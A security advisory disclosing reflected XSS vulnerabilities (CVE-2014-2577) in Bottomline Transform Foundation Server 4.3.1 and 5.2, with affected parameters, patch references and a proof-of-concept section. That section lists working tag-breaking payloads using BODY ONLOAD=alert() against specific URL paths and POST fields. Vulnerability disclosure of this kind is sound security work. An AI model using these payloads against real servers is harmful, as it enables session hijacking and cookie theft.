I. VULNERABILITY

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Reflected XSS Attacks vulnerabilities in Transform Foundation server 4.3.1
and 5.2 from Bottomline Technologies


II. BACKGROUND

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Bottomline offers powerful, next-generation electronic document solutions
for formatting,
personalizing and delivering ERP and business application output.


III. DESCRIPTION

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Has been detected several Reflected XSS vulnerability in Transform
Foundation server 4.3.1 and 5.2


1. XSS on GET parameters:


http://XXXXXXXXX/TransformContentCenter/index.fsp/document.pdf?pn="XSS CODE"

http://XXXXXXXXXXXXX/"XSS CODE"server-status.cgi



2. XSS on POST parameters:


URL: XXXXXXXXX/TransformContentCenter/index.fsp/index.fsp

PARAMETERS:


db="XSS CODE"
referer="XSS CODE"




IV. PROOF OF CONCEPT

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GET:

The application does not validate the parameter "pn" correctly.


http://XXXXXXXXX/TransformContentCenter/index.fsp/document.pdf?pn=</i></p><BODY
ONLOAD=alert('Hacked-by-J.Fco-Bolivar')>

http://XXXXXXXXXXXXX/<BODY
ONLOAD=alert('Hacked-by-J.Fco-Bolivar')>server-status.cgi


POST:

The application does not validate the parameter "db" and "rerferer"
correctly.


XXXXXXXXX/TransformContentCenter/index.fsp/index.fsp


db=</td></tr><BODY ONLOAD=alert('Hacked-by-J.Fco-Bolivar')>

and

referer=</td></tr><BODY ONLOAD=alert('Hacked-by-J.Fco-Bolivar')




V. BUSINESS IMPACT

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An attacker can execute arbitrary HTML or script code in a targeted
user's browser, that allows the execution of arbitrary HTML/script
code to be executed in the context of the victim user's browser
allowing Cookie Theft/Session Hijacking, thus enabling full access the
box.



VI. SYSTEMS AFFECTED

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Transform Foundation Server 4.3.1
Transform Foundation Server 5.2



VII. SOLUTION
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Patches released by the vendor available on customer portal and information
available here:


Transform Foundation Server 4.3.1 Patch 8:

http://www.pdf-archive.com/2014/06/03/tf52patch7releasenotes/preview/page/14/

SF2351630
SF2364411
SF2391461


Transform Foundation Server 5.2 Patch 7:


http://www.pdf-archive.com/2014/06/03/tf52patch7releasenotes/preview/page/14/


SF2351630
SF2364411
SF2391461



http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-2577

Detected and reported by J. Francisco Bolivar (es.linkedin.com/in/jfbolivar/
)